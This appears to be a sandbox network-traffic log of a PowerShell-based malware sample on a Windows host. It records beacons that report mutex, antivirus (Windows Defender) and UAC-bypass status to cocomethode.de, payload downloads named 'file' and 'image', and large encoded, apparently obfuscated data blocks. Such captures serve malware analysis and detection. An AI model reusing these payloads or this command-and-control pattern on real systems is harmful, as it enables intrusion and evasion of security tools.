2024-12-11 11:14:21 UTC	162	IN	Data Raw: 4c 6d 71 55 4c 54 71 6a 53 30 5b 31 52 54 4c 79 54 57 6d 58 54 6c 38 4b 50 30 4b 75 58 57 65 35 63 47 57 49 53 6b 43 69 50 31 47 31 54 6c 31 34 64 57 6a 78 57 54 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 54 34 57 57 57 72 62 44 5b 56 57 6d 71 45 57 6c 79 57 5b 31 6d 73 56 6f 43 68 53 30 57 6f 56 6a 65 56 62 30 71 58 54 6c 79 60 53 46 38 6f 52 6a 65 60 62 46 4b 49 57 6d 47 5b 56 47 4b 77 52 56 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 Data Ascii: LmqULTqjS0[1RTLyTWmXTl8KP0KuXWe5cGWISkCiP1G1Tl14dWjxWT4E`TGoRTOC[1mEPVeKP1GoRTT4WWWrbD[VWmqEWlyW[1msVoChS0WoVjeVb0qXTly`SF8oRje`bFKIWmG[VGKwRVbvR1mEPVeKP1GoRTOC[1
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 6d 45 50 56 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 60 6a 6d 46 52 6c 79 6a 52 47 5b 34 58 6c 6d 43 60 33 53 48 52 6b 47 60 54 31 4b 76 58 6c 30 52 62 47 6a 78 53 6b 43 69 57 7b 57 74 52 54 69 52 63 30 71 55 50 6c 30 69 57 32 69 72 52 54 69 6a 60 46 4f 34 50 6c 30 68 4c 30 5b 30 56 6a 4f 42 60 46 4b 75 54 56 65 60 53 30 5b 7b 56 6d 69 52 63 47 71 43 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 58 33 30 56 4c 46 53 58 52 6f 57 4b 50 30 48 76 58 33 34 56 63 44 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 4c 44 34 45 5b 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 70 52 54 5b 6a 60 46 47 58 54 56 65 60 63 55 6d 34 52 54 65 47 5b 33 4c 78 60 49 5b 6b 63 6d 47 6f 58 57 62 30 4c Data Ascii: mEPVeDTV8oRTOC[1mEPVeKP1GoRTOC`jmFRlyjRG[4XlmC`3SHRkG`T1KvXl0RbGjxSkCiW{WtRTiRc0qUPl0iW2irRTij`FO4Pl0hL0[0VjOB`FKuTVe`S0[{VmiRcGqCLDuKP1GoRTOC[1mEPVeKP1GoX30VLFSXRoWKP0HvX34VcDSSc3eKP1GoRTOC[1mHLD4E[{CMRTOC[1mEPVeKP1GpRT[j`FGXTVe`cUm4RTeG[3Lx`I[kcmGoXWb0L
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 4d 52 54 4f 43 5b 31 6d 45 54 6f 43 6b 4c 57 5b 42 54 55 40 34 65 30 71 59 4f 46 65 50 54 31 47 77 54 6b 4b 56 4c 44 79 57 63 45 43 60 57 7b 47 53 58 33 31 34 65 30 71 58 52 6b 43 6d 54 31 4b 4b 54 7b 43 35 55 6a 38 72 64 46 4f 57 4c 45 6d 49 57 6a 5b 6a 50 6d 57 73 57 6c 4f 58 53 55 47 76 56 55 4f 4a 65 6c 4c 78 4e 56 30 6a 53 6f 69 6b 57 6b 4b 72 65 57 71 49 4e 55 4f 6b 4c 59 69 6b 54 55 4f 56 64 56 4f 75 57 6f 57 6a 53 6d 71 72 58 33 34 4e 62 46 48 78 4f 56 4f 58 53 6a 4b 33 58 6a 65 72 60 6c 47 59 57 6f 71 58 53 6f 69 54 5b 57 69 4e 4c 47 71 59 4c 49 43 4c 60 30 5b 30 56 57 65 4a 62 30 71 57 64 47 5b 53 57 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 44 54 56 38 6f 52 54 4f 43 5b 33 47 59 56 56 38 4a 53 33 79 37 57 6d 57 46 53 47 50 7b 50 6c 79 68 60 54 Data Ascii: MRTOC[1mEToCkLW[BTU@4e0qYOFePT1GwTkKVLDyWcEC`W{GSX314e0qXRkCmT1KKT{C5Uj8rdFOWLEmIWj[jPmWsWlOXSUGvVUOJelLxNV0jSoikWkKreWqINUOkLYikTUOVdVOuWoWjSmqrX34NbFHxOVOXSjK3Xjer`lGYWoqXSoiT[WiNLGqYLICL`0[0VWeJb0qWdG[SWIONP3mC[1mEPVeDTV8oRTOC[3GYVV8JS3y7WmWFSGP{Plyh`T
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 5b 47 4b 53 57 6c 76 7b 54 56 30 31 50 6d 4b 49 5b 44 4b 59 57 6a 5b 42 5b 57 57 46 52 47 65 57 53 6a 34 6a 4c 44 71 76 54 57 57 52 50 6d 47 57 4e 57 4b 53 57 44 34 42 54 6a 65 4e 50 6d 53 75 5b 44 4f 69 57 54 5b 48 57 30 57 46 54 47 47 57 52 6f 4f 53 57 57 4b 70 54 57 5b 76 50 6d 47 54 50 6a 4b 52 4c 54 5b 42 57 46 30 6a 50 6a 30 47 53 6a 57 53 57 54 5b 4e 56 6b 43 4a 63 30 47 57 54 6d 71 53 57 55 54 7b 54 57 69 72 50 6d 4b 47 53 6a 4b 59 56 46 53 42 5b 54 57 46 52 47 4b 57 53 6c 47 53 57 54 71 78 54 57 57 52 63 6d 47 57 4e 57 4b 53 63 56 69 42 54 6a 57 72 50 6d 53 58 5b 44 4f 69 4c 44 5b 47 57 6d 57 46 58 57 57 57 52 6f 4b 53 57 57 4b 46 54 57 54 79 63 6d 47 75 64 44 4b 52 53 54 5b 42 57 46 79 46 50 33 47 73 53 6a 69 59 57 54 5b 4e 56 6b 43 4a 65 47 47 Data Ascii: [GKSWlv{TV01PmKI[DKYWj[B[WWFRGeWSj4jLDqvTWWRPmGWNWKSWD4BTjeNPmSu[DOiWT[HW0WFTGGWRoOSWWKpTW[vPmGTPjKRLT[BWF0jPj0GSjWSWT[NVkCJc0GWTmqSWUT{TWirPmKGSjKYVFSB[TWFRGKWSlGSWTqxTWWRcmGWNWKScViBTjWrPmSX[DOiLD[GWmWFXWWWRoKSWWKFTWTycmGudDKRST[BWFyFP3GsSjiYWT[NVkCJeGG
2024-12-11 11:14:21 UTC	1369	IN	Data Raw: 57 5b 76 50 6d 47 70 57 6a 4b 53 4c 44 5b 42 56 6a 57 46 50 33 53 73 53 6a 53 53 57 54 5b 70 5b 45 43 4b 65 30 47 57 60 44 71 53 57 31 5b 52 54 56 34 56 50 6d 48 78 55 6a 4b 52 53 6a 5b 42 54 7b 43 46 53 47 47 57 53 6a 71 53 57 54 5b 74 54 57 57 4e 50 6d 47 57 62 44 4b 53 63 6f 43 42 54 31 5b 46 50 6d 6a 78 5b 44 4f 6b 53 54 5b 48 55 6a 57 46 58 56 50 76 52 6a 53 53 57 56 4c 31 54 57 5b 76 50 6d 47 70 57 6a 4b 53 4c 44 5b 42 57 54 5b 46 50 6d 6e 76 53 6a 65 6b 4c 44 5b 70 5b 45 43 4b 65 30 47 57 60 44 71 53 57 31 5b 52 54 56 34 56 50 6d 48 78 55 6a 4b 59 53 6a 5b 42 58 6b 43 46 53 47 57 57 53 6c 6d 53 57 54 6e 78 54 57 57 6a 60 6d 47 56 54 6d 4b 53 63 6f 43 42 54 6b 4b 4e 50 6d 4f 57 53 6a 4f 51 53 54 5b 44 54 57 57 46 54 6c 50 76 52 6b 4b 53 57 56 4c 76 Data Ascii: W[vPmGpWjKSLD[BVjWFP3SsSjSSWT[p[ECKe0GW`DqSW1[RTV4VPmHxUjKRSj[BT{CFSGGWSjqSWT[tTWWNPmGWbDKScoCBT1[FPmjx[DOkST[HUjWFXVPvRjSSWVL1TW[vPmGpWjKSLD[BWT[FPmnvSjekLD[p[ECKe0GW`DqSW1[RTV4VPmHxUjKYSj[BXkCFSGWWSlmSWTnxTWWj`mGVTmKScoCBTkKNPmOWSjOQST[DTWWFTlPvRkKSWVLv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49765	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:22 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 85
2024-12-11 11:14:22 UTC	85	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
2024-12-11 11:14:22 UTC	1206	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:22 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1mdtWog1ENQKVhKqIkfqWx8IRQc%2FFw%2FQNp0omqhuPLayMzNYKyW7lM3KZ2zRLC3IPv9iuRpQonNeKW2FNWPEXvE6ON3a2MPRQJewUSEkWT1mxp5GD0YUk%2B6M1Qehr3TLFUo9eOl03%2Bi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=38931&min_rtt=1511&rtt_var=27881&sent=336&recv=444&lost=0&retrans=0&sent_bytes=67377&recv_bytes=358094&delivery_rate=6907155&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050cfb2cedbfe7-ATL server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=41&rtt_var=18&sent=4&recv=6&lost=0&retrans=0&sent_bytes=3962&recv_bytes=1307&delivery_rate=1212648148&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=114209&min_rtt=114172&rtt_var=24142&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1029&delivery_rate=33491&cwnd=252&unsent_bytes=0&cid=7dfe79db704d070c&ts=577&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49766	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:23 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 86
2024-12-11 11:14:23 UTC	86	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4d 75 74 65 78 20 69 73 20 6e 6f 74 20 6c 6f 63 6b 65 64 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 41 56 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Mutex is not locked\"", "\"AV Windows Defender\"", "----------"]
2024-12-11 11:14:24 UTC	1176	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:24 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tbgg1I2tri%2BMj1RHPoFFX54X1Teb9k317jJueFxFd%2BkI2Z8ydZdgU%2FkXMh98hrVgdPyQLpQSoABhK4GQJCK5XsBOFc6bXZGGZknwLNQcVX%2Fyu%2BrJ63p28fpWEjPPtAI%2F8Fban1jAiWM%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=44741&min_rtt=1137&rtt_var=18267&sent=312&recv=475&lost=0&retrans=0&sent_bytes=29123&recv_bytes=422470&delivery_rate=3526570&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d00dffb672b-ATL server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=659&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=645&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:24 UTC	614	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 32 26 6d 69 6e 5f 72 74 74 3d 34 32 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 33 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 34 36 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=630&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49767	172.67.128.139	443	7784	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:23 UTC	389	OUT	GET /file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:14:24 UTC	1323	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:24 GMT Content-Type: application/octet-stream Content-Length: 2684 Connection: close content-disposition: attachment; filename=file; filename*=UTF-8''file CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yCNVbgsecfVgqZDf9x3cEB4tP%2FGDYxIJsuqnwTilE7l%2F%2FEBeIbPop2et%2FaahPFfsoJ1MoTrgVmqWGxPM%2FaQTi0u%2BF9RzSVd8Fztl956UHeshXv0cfNs6ZKZfPqMi885i0ZUP6TkeSLR0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46136&min_rtt=1511&rtt_var=22199&sent=366&recv=489&lost=0&retrans=0&sent_bytes=69691&recv_bytes=398806&delivery_rate=6907155&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d04ac9dbfbb-ATL server-timing: cfL4;desc="?proto=TCP&rtt=59&min_rtt=52&rtt_var=20&sent=4&recv=6&lost=0&retrans=0&sent_bytes=7396&recv_bytes=1012&delivery_rate=1259288461&cwnd=93&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113842&min_rtt=113775&rtt_var=24117&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33578&cwnd=252&unsent_bytes=0&cid=7e7dba26e17ee03e&ts=577&x=0"
2024-12-11 11:14:24 UTC	46	IN	Data Raw: 50 4b 03 04 14 00 08 00 08 00 9a 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 0b 00 00 00 5f 72 65 6c 73 2f 2e 72 65 6c 73 8d 8f 3b 0e c2 Data Ascii: PK~\|Y_rels/.rels;
2024-12-11 11:14:24 UTC	1369	IN	Data Raw: 30 10 44 af 62 6d 4f 36 50 20 84 e2 a4 41 48 69 a3 70 00 cb de 38 51 e2 8f 6c f3 bb 3d 2e 28 08 a2 a0 1c ed cc db 99 aa 79 98 85 dd 28 c4 c9 59 0e db a2 04 46 56 3a 35 59 cd e1 d2 9f 37 07 68 ea aa a3 45 a4 ec 88 e3 e4 23 cb 11 1b 39 8c 29 f9 23 62 94 23 19 11 0b e7 c9 e6 cb e0 82 11 29 cb a0 d1 0b 39 0b 4d b8 2b cb 3d 86 4f 06 ac 99 ac 17 41 53 e2 70 77 41 a1 72 f2 6a c8 a6 22 e3 80 b5 8a 83 9f 75 d7 aa dc ad 7f 7a fa e7 b3 1b 86 49 d2 e9 0d fa 51 e0 cb 01 0c eb 0a 57 33 eb 17 50 4b 07 08 4f 8b dd 3c a6 00 00 00 1c 01 00 00 50 4b 03 04 14 00 08 00 08 00 9a 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 77 6f 72 64 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 ad 90 cb 0a c2 30 10 45 7f 25 cc de a6 75 21 22 4d bb 11 a1 Data Ascii: 0DbmO6P AHip8Ql=.(y(YFV:5Y7hE#9)#b#)9M+=OASpwArj"uzIQW3PKO<PK~\|Yword/_rels/document.xml.rels0E%u!"M
2024-12-11 11:14:24 UTC	1269	IN	Data Raw: fa 09 5c 95 71 2f c6 53 09 5a 2d 30 a6 02 94 ad 0b 15 3a a8 ad 54 a5 2a ba 9f 2e fd 09 94 88 1a 4a 87 18 37 85 68 0c 40 ab 8b 05 8d 35 e0 d4 49 96 2b 9c 3a c7 a5 ce 8d 29 88 fb 73 a1 cc 09 5c 81 a8 41 5b bb 88 6e 11 5d 57 82 f2 85 28 bf d9 ed 14 b3 a5 cb 2c a9 7c d1 76 af 05 e8 76 45 c9 fe 89 f6 36 7b 38 2b d2 a5 01 4f 61 53 46 85 b5 6a bf 56 fd 82 3e c4 4d 99 24 4b fe 84 55 26 59 00 59 65 52 46 85 55 66 bf ca bc 47 61 30 d0 d2 e1 96 e6 ff 46 5a cd 4a 93 2c 88 ff 56 9a 7c fb 5a aa fc eb 2b af ce bf 00 50 4b 07 08 dd e8 3a 09 22 04 00 00 36 4b 00 00 50 4b 03 04 14 00 08 00 08 00 9a 7e 7c 59 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 77 6f 72 64 2f 6e 75 6d 62 65 72 69 6e 67 2e 78 6d 6c 0d 8c 41 0e c2 30 0c 04 bf 12 f9 4e 5d 38 20 14 35 ed ad 2f 80 07 Data Ascii: \q/SZ-0:T*.J7h@5I+:)s\A[n]W(,\|vvE6{8+OaSFjV>M$KU&YYeRFUfGa0FZJ,V\|Z+PK:"6KPK~\|Yword/numbering.xmlA0N]8 5/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49768	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:24 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba3f66a3d2d077e6804767129f4b5fe289 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 62
2024-12-11 11:14:24 UTC	62	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 30 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 6f 20 63 61 6e 20 62 79 70 61 73 73 20 75 61 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "0", "\"ko can bypass uac\"", "----------"]
2024-12-11 11:14:25 UTC	1181	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:25 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MwY9tn3UMJuzCXW0%2BFQMp%2FcsBwLAKr2OPB61YWxZwIacalFYiLitlVyMBN6qhFuc3rZO%2Fv4yGsU%2B%2BCzIPdsCRhokBHGQYlAPhFS1ECVaXTFHKExcuOw3HTOdlgJFV9UoU%2BOq5HAWI5c%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=32478&min_rtt=911&rtt_var=21462&sent=13162&recv=6176&lost=0&retrans=0&sent_bytes=18609479&recv_bytes=293614&delivery_rate=40807453&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d07ee5612eb-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=612&delivery_rate=0&cwnd=160&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=60&min_rtt=60&rtt_var=30&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=601&delivery_rate=0&cwnd=58&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:25 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 38 34 26 6d 69 6e 5f 72 74 74 3d 31 31 33 38 31 30 26 72 74 74 5f 76 61 72 3d 32 34 30 37 33 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 31 32 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 31 37 33 65 36 31 64 65 37 31 38 62 35 65 31 65 26 74 73 3d 38 33 35 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113884&min_rtt=113810&rtt_var=24073&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1006&delivery_rate=33612&cwnd=252&unsent_bytes=0&cid=173e61de718b5e1e&ts=835&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49771	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:28 UTC	389	OUT	GET /file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:14:28 UTC	1309	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:28 GMT Content-Type: application/octet-stream Content-Length: 12128 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tAd83IV80935KBOiH7Vwt2%2BRr4Sa5F%2BU68ulwkqO3sZJJf39o6nuY3zFO57scIYtsVNiwGM%2FmOTolJy9fTJEQASvFsZxT8uDaOHxCsW5TWB9x39qMwOyikRIUvHZ7ldeP3v9ahOAU96h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=42472&min_rtt=1511&rtt_var=21998&sent=489&recv=686&lost=0&retrans=0&sent_bytes=83342&recv_bytes=578518&delivery_rate=6907155&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d20ad36b0ed-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=45&rtt_var=21&sent=4&recv=6&lost=0&retrans=0&sent_bytes=980&recv_bytes=1496&delivery_rate=1023171875&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=40&rtt_var=23&sent=4&recv=6&lost=0&retrans=0&sent_bytes=1177&recv_bytes=1475&delivery_rate=897027397&cwnd=124&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:28 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 30 26 6d 69 6e 5f 72 74 74 3d 35 30 26 72 74 74 5f 76 61 72 3d 32 35 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 31 38 34 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 35 30 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=50&rtt_var=25&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113850&min_rtt=11
2024-12-11 11:14:28 UTC	1012	IN	Data Raw: 25 76 6e 75 65 6d 6e 70 66 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 53 30 71 6e 58 6a 69 4e 63 44 75 55 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 30 54 76 57 6a 71 55 53 56 53 58 57 46 72 79 53 57 57 55 50 56 6d 54 63 55 6a 76 52 54 5b 4a 4c 56 4b 75 4f 59 43 68 63 56 4f 6f 54 30 62 31 5b 33 53 49 60 49 43 6b 64 54 4b 72 58 6c 34 60 62 46 4f 75 4e 59 53 60 57 7b 54 76 52 56 62 76 52 31 6d 45 50 56 65 4b 53 30 58 31 58 57 69 53 4f 31 53 53 62 45 6d 44 54 56 38 4e 50 33 30 60 4c 56 4b 75 55 6b 43 69 57 7b 6d 30 52 54 57 4e 65 6c 4b 74 56 6c 79 6b 63 6d 47 31 54 6c 30 72 62 Data Ascii: 